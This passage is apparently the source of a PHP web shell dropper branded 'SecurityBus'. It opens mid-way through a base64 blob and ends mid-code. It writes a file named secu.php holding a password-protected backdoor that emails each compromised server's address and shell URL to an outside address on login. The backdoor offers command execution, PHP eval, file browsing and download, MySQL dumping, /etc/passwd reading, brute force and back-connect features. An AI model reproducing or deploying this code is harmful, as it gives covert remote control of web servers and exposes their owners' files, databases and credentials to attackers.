ybF9kaXIpKSAuCXBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuICJceDAwXHgwMCI7DQoJfQ0KfQ0KDQovLyBEdW1wIG15c3FsDQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsNCgkkdGFibGVkdW1wIC49ICJDUkVBVEUgVEFCTEUgJHRhYmxlIChcbiI7DQoNCgkkZmlyc3RmaWVsZD0xOw0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7DQoJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCX0gZWxzZSB7DQoJCQkkZmlyc3RmaWVsZD0wOw0KCQl9DQoJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsNCgkJaWYgKCFlbXB0eSgkZmllbGRbIkRlZmF1bHQiXSkpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCgkJfQ0KCQlpZiAoJGZpZWxkWydOdWxsJ10gIT0gIllFUyIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoJCX0NCgkJaWYgKCRmaWVsZFsnRXh0cmEnXSAhPSAiIikgew0KCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KCQl9DQoJfQ0KCWZyKCRmaWVsZHMpOw0KDQoJJGtleXMgPSBxKCJTSE9XIEtFWVMgRlJPTSAkdGFibGUiKTsNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsNCgkJaWYgKCRrbmFtZSAhPSAiUFJJTUFSWSIgJiYgJGtleVsnTm9uX3VuaXF1ZSddID09IDApIHsNCgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoJCX0NCgkJaWYoIWlzX2FycmF5KCRpbmRleFska25hbWVdKSkgew0KCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KCQl9DQoJCSRpbmRleFska25hbWVdW10gPSAka2V5WydDb2x1bW5fbmFtZSddOw0KCX0NCglmcigka2V5cyk7DQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KCQkkdGFibGVkdW1wIC49ICIsXG4iOw0KCQkkY29sbmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOw0KDQoJCWlmICgka25hbWUgPT0gIlBSSU1BUlkiKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgICBQUklNQVJZIEtFWSAoJGNvbG5hbWVzKSI7DQoJCX0gZWxzZSB7DQoJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7DQoJCQkJJGtuYW1lPXN1YnN0cigka25hbWUsNyk7DQoJCQl9DQoJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtuYW1lICgkY29sbmFtZXMpIjsNCgkJfQ0KCX0NCg0KCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsNCglpZiAoJGZwKSB7DQoJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJfSBlbHNlIHsNCgkJZWNobyAkdGFibGVkdW1wOw0KCX0NCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCgkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZWxkY291bnRlcj0tMTsNCgkJJGZpcnN0ZmllbGQ9MTsNCgkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7DQoJCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpcnN0ZmllbGQ9MDsNCgkJCX0NCg0KCQkJaWYgKCFpc3NldCgkcm93WyRmaWVsZGNvdW50ZXJdKSkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KCQkJfSBlbHNlIHsNCgkJCQkkdGFibGVkdW1wIC49ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGZpZWxkY291bnRlcl0pLiInIjsNCgkJCX0NCgkJfQ0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoJCWlmICgkZnApIHsNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJCX0gZWxzZSB7DQoJCQllY2hvICR0YWJsZWR1bXA7DQoJCX0NCgl9DQoJZnIoJHJvd3MpOw0KCWlmICgkZnApIHsNCgkJZndyaXRlKCRmcCwiXG4iKTsNCgl9IGVsc2Ugew0KCQllY2hvICJcbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiB1ZSgkc3RyKXsNCglyZXR1cm4gdXJsZW5jb2RlKCRzdHIpOw0KfQ0KDQpmdW5jdGlvbiBwKCRzdHIpew0KCWVjaG8gJHN0ci4iXG4iOw0KfQ0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCI+Jyk7DQp9DQpmdW5jdGlvbiB0YmZvb3QoKXsNCglwKCc8L3RhYmxlPicpOw0KfQ0KDQpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9Jycpew0KCXAoIjxpbnB1dCBpZD1cIiRuYW1lXCIgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgLz4iKTsNCn0NCg0KZnVuY3Rpb24gbWFrZWlucHV0KCRhcmcgPSBhcnJheSgpKXsNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoJJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7DQoJISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0eXBlJ10gPSAndGV4dCc7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoJJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFzcyddIDogJ2lucHV0JzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSB7DQoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoJfSBlbHNlIHsNCgkJcCgiJGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOw0KCX0NCn0NCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoJaWYgKCRhcmdbJ29uY2hhbmdlJ10pIHsNCgkJJG9uY2hhbmdlID0gJ29uY2hhbmdlPSInLiRhcmdbJ29uY2hhbmdlJ10uJyInOw0KCX0NCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8cD4nKTsNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsNCgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgew0KCQkJZm9yZWFjaCAoJGFyZ1snb3B0aW9uJ10gYXMgJGtleT0+JHZhbHVlKSB7DQoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsNCgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj4iKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCXAoIjwvc2VsZWN0PiIpOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzwvcD4nKTsNCn0NCmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBhcnJheSgpKSB7DQoJISRhcmdbJ21ldGhvZCddICYmICRhcmdbJ21ldGhvZCddID0gJ3Bvc3QnOw0KCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOw0KCSRhcmdbJ3RhcmdldCddID0gJGFyZ1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7DQoJISRhcmdbJ25hbWUnXSAmJiAkYXJnWyduYW1lJ10gPSAnZm9ybTEnOw0KCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOw0KCWlmICgkYXJnWyd0aXRsZSddKSB7DQoJCXAoJzxoMj4nLiRhcmdbJ3RpdGxlJ10uJyAmcmFxdW87PC9oMj4nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsNCgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEwMDsNCgkhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1Ow0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOw0KCXAoIjxwPiRhcmdbdGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdbZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7DQp9DQoNCmZ1bmN0aW9uIGZvcm1mb290ZXIoJG5hbWUgPSAnJyl7DQoJISRuYW1lICYmICRuYW1lID0gJ3N1Ym1pdCc7DQoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOw0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsNCglwKCc8L2Zvcm0+Jyk7DQp9DQoNCi8vIEV4aXQNCmZ1bmN0aW9uIHByKCRhKSB7DQoJZWNobyAnPHByZT4nOw0KCXByaW50X3IoJGEpOw0KCWVjaG8gJzwvcHJlPic7DQp9DQoNCiA/Pg0K';
file_put_contents('secu.php', "<?php \r\nerror_reporting(7);\r\n@set_magic_quotes_runtime(0);\r\nob_start();\r\n\$mtime = explode(' ', microtime());\r\n\$starttime = \$mtime[1] + \$mtime[0];\r\ndefine('SA_ROOT', str_replace('\\\\', '/', dirname(__FILE__)).'/');\r\n//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );\r\ndefine('IS_WIN', DIRECTORY_SEPARATOR == '\\\\');\r\ndefine('IS_COM', class_exists('COM') ? 1 : 0 );\r\ndefine('IS_GPC', get_magic_quotes_gpc());\r\n\$dis_func = get_cfg_var('disable_functions');\r\ndefine('IS_PHPINFO', (!eregi(\"phpinfo\",\$dis_func)) ? 1 : 0 );\r\n@set_time_limit(0);\r\n\r\nforeach(array('_GET','_POST') as \$_request) {\r\n\tforeach(\$\$_request as \$_key => \$_value) {\r\n\t\tif (\$_key{0} != '_') {\r\n\t\t\tif (IS_GPC) {\r\n\t\t\t\t\$_value = s_array(\$_value);\r\n\t\t\t}\r\n\t\t\t\$\$_key = \$_value;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n/*================= Info Login ================*/\r\n\$admin = array();\r\n\$admin['check'] = true;\r\n\$admin['pass'] = 'g1u5y'; // Password login\r\n\$admin['cookiepre'] = '';\r\n\$admin['cookiedomain'] = '';\r\n\$admin['cookiepath'] = '/';\r\n\$admin['cookielife'] = 86400;\r\n/*===================== End =====================*/\r\n\r\nif (\$charset == 'utf8') {\r\n\theader(\"content-Type: text/html; charset=utf-8\");\r\n} elseif (\$charset == 'big5') {\r\n\theader(\"content-Type: text/html; charset=big5\");\r\n} elseif (\$charset == 'gbk') {\r\n\theader(\"content-Type: text/html; charset=gbk\");\r\n} elseif (\$charset == 'latin1') {\r\n\theader(\"content-Type: text/html; charset=iso-8859-2\");\r\n}\r\n\r\n\$self = \$_SERVER['PHP_SELF'] ? \$_SERVER['PHP_SELF'] : \$_SERVER['SCRIPT_NAME'];\r\n\$timestamp = time();\r\n\r\n/*===================== Login =====================*/\r\nif (\$action == \"logout\") {\r\n\tscookie('vbapass', '', -86400 * 365);\r\n\tp('<meta http-equiv=\"refresh\" content=\"0;URL='.\$self.'\">');\r\n\tp('<body background=http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif>');\r\n\texit;\r\n}\r\nif(\$admin['check']) {\r\n\tif (\$doing == 'login') {\r\n\t\tif (\$admin['pass'] == \$password) {\r\n\t\t\tscookie('vbapass', \$password);\r\n\r\n\$time_shell = \"\".date(\"d/m/Y - H:i:s\").\"\";\r\n\$ip_remote = \$_SERVER[\"REMOTE_ADDR\"];\r\n\$from_shellcode = 'shell@'.gethostbyname(\$_SERVER['SERVER_NAME']).'';\r\n\$to_email = 's4f3w3b@yahoo.com';\r\n\$server_mail = \"\".gethostbyname(\$_SERVER['SERVER_NAME']).\" - \".\$_SERVER['HTTP_HOST'].\"\";\r\n\$linkcr = \"Link: \".\$_SERVER['SERVER_NAME'].\"\".\$_SERVER['REQUEST_URI'].\" - IP Excuting: \$ip_remote - Time: \$time_shell\";\r\n\$header = \"From: \$from_shellcode\\r\\nReply-to: \$from_shellcode\";\r\n@mail(\$to_email, \$server_mail, \$linkcr, \$header);\r\n\t\t\tp('<meta http-equiv=\"refresh\" content=\"2;URL='.\$self.'\">');\r\n\t\t\tp('<body background=http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif>\r\n<BR><BR><div align=center><font color=yellow face=tahoma size=2>Welcome back SecurityBus - Please wait...<BR><img src=http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif></div>');\r\n\t\t\texit;\r\n\t\t}\r\n\r\n\telse\r\n\t{\r\n\t\$err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';\r\necho \$err_mess;\r\n\t}}\r\n\tif (\$_COOKIE['vbapass']) {\r\n\t\tif (\$_COOKIE['vbapass'] != \$admin['pass']) {\r\n\t\t\tloginpage();\r\n\t\t}\r\n\t} else {\r\n\t\tloginpage();\r\n\t}\r\n}\r\n/*===================== Login =====================*/\r\n\r\n\$errmsg = '';\r\n\r\nif (\$action == 'phpinfo') {\r\n\tif (IS_PHPINFO) {\r\n\t\tphpinfo();\r\n\t} else {\r\n\t\t\$errmsg = 'phpinfo() function has non-permissible';\r\n\t}\r\n}\r\n\r\n\r\nif (\$doing == 'downfile' && \$thefile) {\r\n\tif (!@file_exists(\$thefile)) {\r\n\t\t\$errmsg = 'The file you want Downloadable was nonexistent';\r\n\t} else {\r\n\t\t\$fileinfo = pathinfo(\$thefile);\r\n\t\theader('Content-type: application/x-'.\$fileinfo['extension']);\r\n\t\theader('Content-Disposition: attachment; filename='.\$fileinfo['basename']);\r\n\t\theader('Content-Length: '.filesize(\$thefile));\r\n\t\t@readfile(\$thefile);\r\n\t\texit;\r\n\t}\r\n}\r\n\r\n\r\nif (\$doing == 'backupmysql' && !\$saveasfile) {\r\n\tdbconn(\$dbhost, \$dbuser, \$dbpass, \$dbname, \$charset, \$dbport);\r\n\t\$table = array_flip(\$table);\r\n\t\$result = q(\"SHOW tables\");\r\n\tif (!\$result) p('<h2>'.mysql_error().'</h2>');\r\n\t\$filename = basename(\$_SERVER['HTTP_HOST'].'sql.gz');\r\n\theader('Content-type: application/unknown');\r\n\theader('Content-Disposition: attachment; filename='.\$filename);\r\n\t\$mysqldata = '';\r\n\twhile (\$currow = mysql_fetch_array(\$result)) {\r\n\t\tif (isset(\$table[\$currow[0]])) {\r\n\t\t\t\$mysqldata .= sqldumptable(\$currow[0]);\r\n\t\t}\r\n\t}\r\n\tmysql_close();\r\n\texit;\r\n}\r\n\r\n// Mysql\r\nif(\$doing=='mysqldown'){\r\n\tif (!\$dbname) {\r\n\t\t\$errmsg = 'Please input dbname';\r\n\t} else {\r\n\t\tdbconn(\$dbhost, \$dbuser, \$dbpass, \$dbname, \$charset, \$dbport);\r\n\t\tif (!file_exists(\$mysqldlfile)) {\r\n\t\t\t\$errmsg = 'The file you want Downloadable was nonexistent';\r\n\t\t} else {\r\n\t\t\t\$result = q(\"select load_file('\$mysqldlfile');\");\r\n\t\t\tif(!\$result){\r\n\t\t\t\tq(\"DROP TABLE IF EXISTS tmp_angel;\");\r\n\t\t\t\tq(\"CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);\");\r\n\t\t\t\t//Download SQL\r\n\t\t\t\tq(\"LOAD DATA LOCAL INFILE '\".addslashes(\$mysqldlfile).\"' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{\$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{\$timestamp}_eof__';\");\r\n\t\t\t\t\$result = q(\"select content from tmp_angel\");\r\n\t\t\t\tq(\"DROP TABLE tmp_angel\");\r\n\t\t\t}\r\n\t\t\t\$row = @mysql_fetch_array(\$result);\r\n\t\t\tif (!\$row) {\r\n\t\t\t\t\$errmsg = 'Load file failed '.mysql_error();\r\n\t\t\t} else {\r\n\t\t\t\t\$fileinfo = pathinfo(\$mysqldlfile);\r\n\t\t\t\theader('Content-type: application/x-'.\$fileinfo['extension']);\r\n\t\t\t\theader('Content-Disposition: attachment; filename='.\$fileinfo['basename']);\r\n\t\t\t\theader(\"Accept-Length: \".strlen(\$row[0]));\r\n\t\t\t\techo \$row[0];\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\n?>\r\n<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\r\n<title><?php echo str_replace('.','','SecurityBus');?></title>\r\n<style type=\"text/css\">\r\nbody,td{font: 10pt Tahoma;color:gray;line-height: 16px;}\r\n\r\na {color: #74A202;text-decoration:none;}\r\na:hover{color: #f00;text-decoration:underline;}\r\n.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\r\n.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}\r\n.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\r\n.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\r\n.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}\r\n.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}\r\n.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}\r\n.head td span{font-weight:normal;}\r\nform{margin:0;padding:0;}\r\nh2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}\r\nul.info li{margin:0;color:#444;line-height:24px;height:24px;}\r\nu{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}\r\ninput, textarea, button\r\n{\r\n\tfont-size: 9pt;\r\n\tcolor: #ccc;\r\n\tfont-family: verdana, sans-serif;\r\n\tbackground-color: #202020;\r\n\tborder-left: 1px solid #74A202;\r\n\tborder-top: 1px solid #74A202;\r\n\tborder-right: 1px solid #74A202;\r\n\tborder-bottom: 1px solid #74A202;\r\n}\r\nselect\r\n{\r\n\tfont-size: 8pt;\r\n\tfont-weight: normal;\r\n\tcolor: #ccc;\r\n\tfont-family: verdana, sans-serif;\r\n\tbackground-color: #202020;\r\n}\r\n\r\n</style>\r\n<script type=\"text/javascript\">\r\nfunction CheckAll(form) {\r\n\tfor(var i=0;i<form.elements.length;i++) {\r\n\t\tvar e = form.elements[i];\r\n\t\tif (e.name != 'chkall')\r\n\t\te.checked = form.chkall.checked;\r\n }\r\n}\r\nfunction \$(id) {\r\n\treturn document.getElementById(id);\r\n}\r\nfunction goaction(act){\r\n\t\$('goaction').action.value=act;\r\n\t\$('goaction').submit();\r\n}\r\n</script>\r\n</head>\r\n<body onLoad=\"init()\" style=\"margin:0;table-layout:fixed; word-break:break-all\" bgcolor=black background=http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif>\r\n\r\n\r\n<div border=\"0\" style=\"position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;\" id=\"loading\" align=\"center\" valign=\"center\">\r\n\t\t\t\t<table border=\"1\" width=\"110px\" cellspacing=\"0\" cellpadding=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#003300\">\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td align=\"center\" valign=center>\r\n\t\t\t\t <div border=\"1\" style=\"background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;\" bordercolor=\"#006600\" align=\"center\">\r\n\t\t\t\t Loading<img src=\"http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif\">\r\n\t\t\t\t </div>\r\n\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</table>\r\n</div>\r\n <script>\r\n var ld=(document.all);\r\n var ns4=document.layers;\r\n var ns6=document.getElementById&&!document.all;\r\n var ie4=document.all;\r\n if (ns4)\r\n \tld=document.loading;\r\n else if (ns6)\r\n \tld=document.getElementById(\"loading\").style;\r\n else if (ie4)\r\n \tld=document.all.loading.style;\r\n function init()\r\n {\r\n if(ns4){ld.visibility=\"hidden\";}\r\n else if (ns6||ie4) ld.display=\"none\";\r\n }\r\n </script>\r\n\r\n\r\n\r\n\r\n<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\r\n\t<tr class=\"head_small\">\r\n\t\t<td width=100%>\r\n\t\t<table width=100%><tr class=\"head_small\"><td width=156><a title=\"SecurityBus\" href=\"<?php \$self;?>\"><img src=http://imageshack.com/a/img585/3157/deqg.jpg width=\"154\" height=86 border=0></a></td>\r\n\t\t<td width=\"812\">\r\n\t\t<span style=\"float:right;\"> <?php echo \"Hostname: \".\$_SERVER['HTTP_HOST'].\"\";?> | <a href=\"\" target=\"_blank\"><a href=\"\" target=\"_blank\"><?php echo str_replace('.','','[Hacked By SecurityBus]');?></a> | <a href=\"javascript:goaction('logout');\"><font color=red>Logout</font></a></span>\r\n\r\n\t\t<?php\r\n\t\t\$curl_on = @function_exists('curl_version');\r\n\t\t\$mysql_on = @function_exists('mysql_connect');\r\n\t\t\$mssql_on = @function_exists('mssql_connect');\r\n\t\t\$pg_on = @function_exists('pg_connect');\r\n\t\t\$ora_on = @function_exists('ocilogon');\r\n\r\necho ((\$safe_mode)?(\"Safe_mod: <b><font color=green>ON</font></b> - \"):(\"Safe_mod: <b><font color=red>OFF</font></b> - \"));\r\necho \"PHP version: <b>\".@phpversion().\"</b> - \";\r\n\t\techo \"cURL: \".((\$curl_on)?(\"<b><font color=green>ON</font></b> - \"):(\"<b><font color=red>OFF</font></b> - \"));\r\n\t\techo \"MySQL: <b>\";\r\n\$mysql_on = @function_exists('mysql_connect');\r\nif(\$mysql_on){\r\necho \"<font color=green>ON</font></b> - \"; } else { echo \"<font color=red>OFF</font></b> - \"; }\r\necho \"MSSQL: <b>\";\r\n\$mssql_on = @function_exists('mssql_connect');\r\nif(\$mssql_on){echo \"<font color=green>ON</font></b> - \";}else{echo \"<font color=red>OFF</font></b> - \";}\r\necho \"PostgreSQL: <b>\";\r\n\$pg_on = @function_exists('pg_connect');\r\nif(\$pg_on){echo \"<font color=green>ON</font></b> - \";}else{echo \"<font color=red>OFF</font></b> - \";}\r\necho \"Oracle: <b>\";\r\n\$ora_on = @function_exists('ocilogon');\r\nif(\$ora_on){echo \"<font color=green>ON</font></b>\";}else{echo \"<font color=red>OFF</font></b><BR>\";}\r\n\r\necho \"Disable functions : <b>\";\r\nif(''==(\$df=@ini_get('disable_functions'))){echo \"<font color=green>NONE</font></b><BR>\";}else{echo \"<font color=red>\$df</font></b><BR>\";}\r\n\r\necho \"<font color=white>Uname -a</font>: \".@substr(@php_uname(),0,120).\"<br>\";\r\necho \"<font color=white>Server</font>: \".@substr(\$SERVER_SOFTWARE,0,120).\" - <font color=white>id</font>: \".@getmyuid().\"(\".@get_current_user().\") - uid=\".@getmyuid().\" (\".@get_current_user().\") gid=\".@getmygid().\"(\".@get_current_user().\")<br>\";\r\n\t\t?>\t\t</td>\r\n\t\t</tr></table></td>\r\n\t</tr>\r\n\t<tr class=\"alt1\">\r\n\t\t<td width=100%><span style=\"float:right;\">[Server IP: <?php echo \"<font color=yellow>\".gethostbyname(\$_SERVER['SERVER_NAME']).\"</font>\";?> - Your IP: <?php echo \"<font color=yellow>\".\$_SERVER['REMOTE_ADDR'].\"</font>\";?>] </span>\r\n\r\n\t\t\t<a href=\"javascript:goaction('file');\">File Manager</a> |\r\n\t\t\t<a href=\"javascript:goaction('sqladmin');\">MySQL Manager</a> |\r\n\t\t\t<a href=\"javascript:goaction('sqlfile');\">MySQL Upload & Download</a> |\r\n\t\t\t<a href=\"javascript:goaction('shell');\">Execute Command</a> |\r\n\t\t\t<a href=\"javascript:goaction('phpenv');\">PHP Variable</a> |\r\n\t\t\t<a href=\"javascript:goaction('eval');\">Eval PHP Code</a>\r\n\t\t\t<?php if (!IS_WIN) {?> | <a href=\"javascript:goaction('brute');\">Brute</a> <?php }?>\r\n\t\t\t<?php if (!IS_WIN) {?> | <a href=\"javascript:goaction('etcpwd');\">/etc/passwd</a> <?php }?>\r\n\t\t\t<?php if (!IS_WIN) {?> | <a href=\"javascript:goaction('backconnect');\">Back Connect</a><?php }?>\r\n\t\t</td>\r\n\t</tr>\r\n</table>\r\n<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>\r\n<?php\r\n\r\nformhead(array('name'=>'goaction'));\r\nmakehide('action');\r\nformfoot();\r\n\r\n\$errmsg && m(\$errmsg);\r\n\r\n// Dir function\r\n!\$dir && \$dir = '.';\r\n\$nowpath = getPath(SA_ROOT, \$dir);\r\nif (substr(\$dir, -1) != '/') {\r\n\t\$dir = \$dir.'/';\r\n}\r\n\$uedir = ue(\$dir);\r\n\r\nif (!\$action || \$action == 'file') {\r\n\r\n\t// Non-writeable\r\n\t\$dir_writeable = @is_writable(\$nowpath) ? 'Writable' : 'Non-writable';\r\n\r\n\t// Delete dir\r\n\tif (\$doing == 'deldir' && \$thefile) {\r\n\t\tif (!file_exists(\$thefile)) {\r\n\t\t\tm(\$thefile.' directory does not exist');\r\n\t\t} else {\r\n\t\t\tm('Directory delete '.(deltree(\$thefile) ? basename(\$thefile).' success' : 'failed'));\r\n\t\t}\r\n\t}\r\n\r\n\t// Create new dir\r\n\telseif (\$newdirname) {\r\n\t\t\$mkdirs = \$nowpath.\$newdirname;\r\n\t\tif (file_exists(\$mkdirs)) {\r\n\t\t\tm('Directory has already existed');\r\n\t\t} else {\r\n\t\t\tm('Directory created '.(@mkdir(\$mkdirs,0755) ? 'success' : 